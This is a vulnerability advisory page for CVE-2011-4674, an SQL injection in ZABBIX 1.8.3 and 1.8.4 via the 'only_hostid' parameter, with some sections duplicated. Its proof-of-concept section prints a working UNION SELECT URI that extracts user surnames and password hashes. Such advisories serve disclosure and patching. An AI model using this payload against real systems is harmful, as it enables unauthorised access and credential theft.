ZABBIX 'only_hostid' Parameter SQL Injection Vulnerability
BID:50803
Info
ZABBIX 'only_hostid' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 50803 |
| Class: | Input Validation Error |
| CVE: |
CVE-2011-4674 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 24 2011 12:00AM |
| Updated: | Apr 13 2015 09:58PM |
| Credit: | Márcio Almeida de Macêdo |
| Vulnerable: |
ZABBIX ZABBIX 1.8.4 ZABBIX ZABBIX 1.8.3 Gentoo Linux |
| Not Vulnerable: |
ZABBIX ZABBIX 1.8.9 |
Discussion
ZABBIX 'only_hostid' Parameter SQL Injection Vulnerability
ZABBIX is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
ZABBIX versions 1.8.3 and 1.8.4 are vulnerable.
ZABBIX is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
ZABBIX versions 1.8.3 and 1.8.4 are vulnerable.
Exploit / POC
ZABBIX 'only_hostid' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/zabbix/popup.php?dstfrm=form_scenario&dstfld1=application&srctbl=applications&srcfld1=name&only_hostid=-1))%20union%20select%201,group_concat(surname,0x2f,passwd)%20from%20users%23<http://www.example.com/zabbix/popup.php?dstfrm=form_scenario&dstfld1=application&srctbl=applications&srcfld1=name&only_hostid=-1%29%29%20union%20select%201,group_concat%28surname,0x2f,passwd%29%20from%20users%23>
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/zabbix/popup.php?dstfrm=form_scenario&dstfld1=application&srctbl=applications&srcfld1=name&only_hostid=-1))%20union%20select%201,group_concat(surname,0x2f,passwd)%20from%20users%23<http://www.example.com/zabbix/popup.php?dstfrm=form_scenario&dstfld1=application&srctbl=applications&srcfld1=name&only_hostid=-1%29%29%20union%20select%201,group_concat%28surname,0x2f,passwd%29%20from%20users%23>
Solution / Fix
ZABBIX 'only_hostid' Parameter SQL Injection Vulnerability
Solution:
Updates are available. Please see the references for more information.
Solution:
Updates are available. Please see the references for more information.
References
ZABBIX 'only_hostid' Parameter SQL Injection Vulnerability
References:
References: